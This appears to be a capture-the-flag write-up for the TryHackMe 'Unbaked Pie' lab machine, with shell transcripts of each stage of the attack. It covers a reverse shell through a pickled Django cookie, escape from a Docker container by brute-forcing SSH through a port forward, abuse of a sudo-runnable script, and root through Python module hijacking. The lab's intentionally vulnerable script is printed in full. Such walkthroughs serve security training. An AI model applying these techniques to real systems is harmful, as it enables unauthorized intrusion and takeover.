The scan reveals only one port, so we can quickly examine it - Browsing the robots.txt page leads to a 404 error page with the below debug message as DEBUG is set to True in the Django application - Thus confirming its a Django application running in the backend !
Page not found (404)
Request Method: GET
Request URL: http://10.10.101.128:5003/robots.txt
Using the URLconf defined in bakery.urls, Django tried these URL patterns, in this order:
admin/
[name='home']
share [name='share']
search [name='search']
about [name='about']
<slug:slug> [name='detail']
accounts/
^static/(?P<path>.*)$
^media/(?P<path>.*)$
The current path, robots.txt, didn't match any of these.
Let's crawl the website manually
Let's search for something using the search functionality and intercept the request
The search cookie looks suspicious and ends with equals (==) - Possibly Base64 !
After we make a POST request to /search, the backend server send the response along with a new cookie called search_cookie which looks like the python serialized object, let's confirm it !
So we got to know that the server is serializing the objects sent, we can quickly find a way to exploit this serialization vulnerability to get a reverse shell - After a bit of googling
Running the script gives me the following base64 encoded pickle
We can now insert this serialized value into our search cookie parameter and forward the request and meanwhile turn on our listener !
Now we have a reverse shell. We are root but there is no flag in the /root directory, and it seems that we are running in a docker environment
┌──(kali㉿kali)-[/data/tryhackme/Unbaked_Pie/files]
└─$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.8.50.72] from (UNKNOWN) [10.10.101.128] 36542
/bin/sh: 0: can't access tty; job control turned off
# python3 -c "import pty;pty.spawn('/bin/bash')"
root@8b39a559b296:/home# id
id
uid=0(root) gid=0(root) groups=0(root)
root@8b39a559b296:/home# cd /root
cd /root
root@8b39a559b296:~# ll
ll
bash: ll: command not found
root@8b39a559b296:~# ls -la
ls -la
total 36
drwx------ 1 root root 4096 Oct 3 2020 .
drwxr-xr-x 1 root root 4096 Oct 3 2020 ..
-rw------- 1 root root 889 Oct 6 2020 .bash_history
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
drwxr-xr-x 3 root root 4096 Oct 3 2020 .cache
drwxr-xr-x 3 root root 4096 Oct 3 2020 .local
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw------- 1 root root 0 Sep 24 2020 .python_history
drwx------ 2 root root 4096 Oct 3 2020 .ssh
-rw-r--r-- 1 root root 254 Oct 3 2020 .wget-hsts
root@8b39a559b296:/home/site# ip addr
ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
4: eth0@if5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
valid_lft forever preferred_lft forever
Escaping Docker
The .bash_history file discloses and interesting command, and we understand that ramsey is a valid user to the SSH connection to the main host !
root@8b39a559b296:/home/site# cat /root/.bash_history
cat /root/.bash_history
nc
exit
ifconfig
ip addr
ssh 172.17.0.1
ssh 172.17.0.2
exit
ssh ramsey@172.17.0.1
exit
cd /tmp
wget https://raw.githubusercontent.com/moby/moby/master/contrib/check-config.sh
chmod +x check-config.sh
./check-config.sh
nano /etc/default/grub
vi /etc/default/grub
apt install vi
apt update
apt install vi
apt install vim
apt install nano
nano /etc/default/grub
grub-update
apt install grub-update
apt-get install --reinstall grub
grub-update
exit
ssh ramsey@172.17.0.1 <---------------------- interesting
exit
ssh ramsey@172.17.0.1
exit
ls
cd site/
ls
cd bakery/
ls
nano settings.py
exit
ls
cd site/
ls
cd bakery/
nano settings.py
exit
apt remove --purge ssh
ssh
apt remove --purge autoremove open-ssh*
apt remove --purge autoremove openssh=*
apt remove --purge autoremove openssh-*
ssh
apt autoremove openssh-client
clear
ssh
ssh
ssh
exit
I tried to ping the external IP from the docker env
Okay we can talk with the external IP, but when I tried to access SSH from the docker container but I hit a dead end since I didn’t have the necessary software on the docker container to access it
The only best option would be Remote Port Forwarding to our localhost and crack it via hydra !
On the docker container i did set up a port forwarding client
Let's just confirm if we can access the SSH service from my localhost and YES we could
Let's now try brute-forcing the password via hydra
We can now logon to the server with these valid creds !
Lateral Move ( ramsey => oliver )
Running sudo -l we see that we can execute a python script called vuln.py as the user Oliver without knowing the users password
ramsey@unbaked:~$ sudo -l
[sudo] password for ramsey:
Matching Defaults entries for ramsey on unbaked:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User ramsey may run the following commands on unbaked:
(oliver) /usr/bin/python /home/ramsey/vuln.py
First let's check the file permissions
ramsey@unbaked:~$ ls -l /home/ramsey/vuln.py
-rw-r--r-- 1 root ramsey 4369 Oct 3 2020 /home/ramsey/vuln.py
Seems like we only got READ access over the file, now let's examine the vuln.py
ramsey@unbaked:~$ cat vuln.py
#!/usr/bin/python
# coding=utf-8
try:
from PIL import Image
except ImportError:
import Image
import pytesseract
import sys
import os
import time
#Header
def header():
banner = '''\033[33m
(
)
__..---..__
,-=' / | \ `=-.
:--..___________..--;
\.,_____________,./
██╗███╗ ██╗ ██████╗ ██████╗ ███████╗██████╗ ██╗███████╗███╗ ██╗████████╗███████╗
██║████╗ ██║██╔════╝ ██╔══██╗██╔════╝██╔══██╗██║██╔════╝████╗ ██║╚══██╔══╝██╔════╝
██║██╔██╗ ██║██║ ███╗██████╔╝█████╗ ██║ ██║██║█████╗ ██╔██╗ ██║ ██║ ███████╗
██║██║╚██╗██║██║ ██║██╔══██╗██╔══╝ ██║ ██║██║██╔══╝ ██║╚██╗██║ ██║ ╚════██║
██║██║ ╚████║╚██████╔╝██║ ██║███████╗██████╔╝██║███████╗██║ ╚████║ ██║ ███████║
╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝ ╚═╝╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚══════╝
\033[m'''
return banner
#Function Instructions
def instructions():
print "\n\t\t\t",9 * "-" , "WELCOME!" , 9 * "-"
print "\t\t\t","1. Calculator"
print "\t\t\t","2. Easy Calculator"
print "\t\t\t","3. Credits"
print "\t\t\t","4. Exit"
print "\t\t\t",28 * "-"
def instructions2():
print "\n\t\t\t",9 * "-" , "CALCULATOR!" , 9 * "-"
print "\t\t\t","1. Add"
print "\t\t\t","2. Subtract"
print "\t\t\t","3. Multiply"
print "\t\t\t","4. Divide"
print "\t\t\t","5. Back"
print "\t\t\t",28 * "-"
def credits():
print "\n\t\tHope you enjoy learning new things - Ch4rm & H0j3n\n"
# Function Arithmetic
# Function to add two numbers
def add(num1, num2):
return num1 + num2
# Function to subtract two numbers
def subtract(num1, num2):
return num1 - num2
# Function to multiply two numbers
def multiply(num1, num2):
return num1 * num2
# Function to divide two numbers
def divide(num1, num2):
return num1 / num2
# Main
if __name__ == "__main__":
print header()
#Variables
OPTIONS = 0
OPTIONS2 = 0
TOTAL = 0
NUM1 = 0
NUM2 = 0
while(OPTIONS != 4):
instructions()
OPTIONS = int(input("\t\t\tEnter Options >> "))
print "\033c"
if OPTIONS == 1:
instructions2()
OPTIONS2 = int(input("\t\t\tEnter Options >> "))
print "\033c"
if OPTIONS2 == 5:
continue
else:
NUM1 = int(input("\t\t\tEnter Number1 >> "))
NUM2 = int(input("\t\t\tEnter Number2 >> "))
if OPTIONS2 == 1:
TOTAL = add(NUM1,NUM2)
if OPTIONS2 == 2:
TOTAL = subtract(NUM1,NUM2)
if OPTIONS2 == 3:
TOTAL = multiply(NUM1,NUM2)
if OPTIONS2 == 4:
TOTAL = divide(NUM1,NUM2)
print "\t\t\tTotal >> $",TOTAL
if OPTIONS == 2:
animation = ["[■□□□□□□□□□]","[■■□□□□□□□□]", "[■■■□□□□□□□]", "[■■■■□□□□□□]", "[■■■■■□□□□□]", "[■■■■■■□□□□]", "[■■■■■■■□□□]", "[■■■■■■■■□□]", "[■■■■■■■■■□]", "[■■■■■■■■■■]"]
print "\r\t\t\t Waiting to extract..."
for i in range(len(animation)):
time.sleep(0.5)
sys.stdout.write("\r\t\t\t " + animation[i % len(animation)])
sys.stdout.flush()
LISTED = pytesseract.image_to_string(Image.open('payload.png'))
TOTAL = eval(LISTED)
print "\n\n\t\t\tTotal >> $",TOTAL
if OPTIONS == 3:
credits()
sys.exit(-1)
However, the file is in our home folder, and we can rename it - Let’s take advantage of this to replace its content
Now, running our modified copy will grant access as oliver
ramsey@unbaked:~$ sudo -u oliver /usr/bin/python /home/ramsey/vuln.py
oliver@unbaked:~$ id
uid=1002(oliver) gid=1002(oliver) groups=1002(oliver),1003(sysadmin)
Privilege Escalation
Running the sudo -l again return us
oliver@unbaked:~$ sudo -l
Matching Defaults entries for oliver on unbaked:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User oliver may run the following commands on unbaked:
(root) SETENV: NOPASSWD: /usr/bin/python /opt/dockerScript.py
Our new user can run dockerScript.py as root without password, and can set the environment variable as well (SETENV)
Looking at the python script we only have read and execute permission and not write access
But taking a closer look at the script we can see that it imports a docker module
And since we can control the path the script uses to import the docker module
We can create a malicious module which when executed it will drop us on a root shell
Next we create a __init__.py file and a docker.py file which will contain the malicious python code
Let’s create a malicious python code in the docker.py file
We can now simply change the default path for the execution which will land us on a root shell !